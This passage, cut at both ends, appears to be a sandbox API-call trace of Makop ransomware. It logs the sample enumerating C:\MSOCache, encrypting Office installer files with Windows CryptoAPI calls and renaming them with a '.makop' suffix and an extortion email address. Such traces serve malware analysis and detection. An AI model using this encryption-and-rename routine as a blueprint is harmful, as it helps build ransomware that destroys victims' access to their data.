users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0063.865] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2506240) returned 1 [0063.865] GetProcessHeap () returned 0x48a0000 [0063.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0063.865] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0063.865] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.865] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0063.865] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0063.865] GetProcessHeap () returned 0x48a0000 [0063.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0063.866] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0063.866] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0063.866] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0063.873] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0063.873] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0063.873] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0063.873] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0063.873] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0063.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0063.874] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0063.874] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0063.874] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0063.887] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0063.890] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.890] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0063.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.892] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0063.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0063.892] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0063.922] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0063.925] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.925] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0063.930] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.930] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0063.930] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0063.930] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0063.944] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0063.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.947] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0063.949] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.949] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0063.949] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0063.949] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.949] SetEndOfFile (hFile=0x124) returned 1 [0064.064] GetProcessHeap () returned 0x48a0000 [0064.064] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0064.064] GetProcessHeap () returned 0x48a0000 [0064.064] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0064.064] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0064.064] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0064.068] CloseHandle (hObject=0x124) returned 1 [0064.069] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0064.069] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0064.069] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0064.070] GetProcessHeap () returned 0x48a0000 [0064.070] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0064.070] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0064.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0064.070] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x3, lpOverlapped=0x0) returned 1 [0064.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0064.080] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0064.080] GetProcessHeap () returned 0x48a0000 [0064.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0064.080] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0064.080] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0064.081] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0064.081] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0064.081] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0064.081] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0064.081] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0064.082] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0064.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0064.082] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0064.082] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.082] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x61d, lpOverlapped=0x0) returned 1 [0064.082] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x620) returned 1 [0064.082] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.083] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x620, lpOverlapped=0x0) returned 1 [0064.083] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0064.083] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.083] SetEndOfFile (hFile=0x124) returned 1 [0064.091] GetProcessHeap () returned 0x48a0000 [0064.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0064.091] GetProcessHeap () returned 0x48a0000 [0064.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0064.091] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0064.091] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0064.126] CloseHandle (hObject=0x124) returned 1 [0064.127] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.127] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.127] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0064.136] GetProcessHeap () returned 0x48a0000 [0064.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0064.137] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0064.137] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0064.137] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0064.144] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0064.144] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0064.144] GetProcessHeap () returned 0x48a0000 [0064.144] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0064.144] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0064.144] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0064.144] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0064.145] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0064.145] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0064.145] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0064.145] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0064.145] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0064.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0064.146] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0064.146] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.146] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x8f8, lpOverlapped=0x0) returned 1 [0064.146] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x900, dwBufLen=0x900 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x900) returned 1 [0064.146] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.146] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x900, lpOverlapped=0x0) returned 1 [0064.147] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0064.147] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.147] SetEndOfFile (hFile=0x124) returned 1 [0064.154] GetProcessHeap () returned 0x48a0000 [0064.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0064.154] GetProcessHeap () returned 0x48a0000 [0064.154] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0064.154] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0064.154] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0064.155] CloseHandle (hObject=0x124) returned 1 [0064.155] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.156] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0064.156] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0064.156] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C") returned 62 [0064.156] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0064.156] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0064.325] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.325] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0064.325] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.325] CreateFileW (lpFileName="C:\\MSOCache\\All 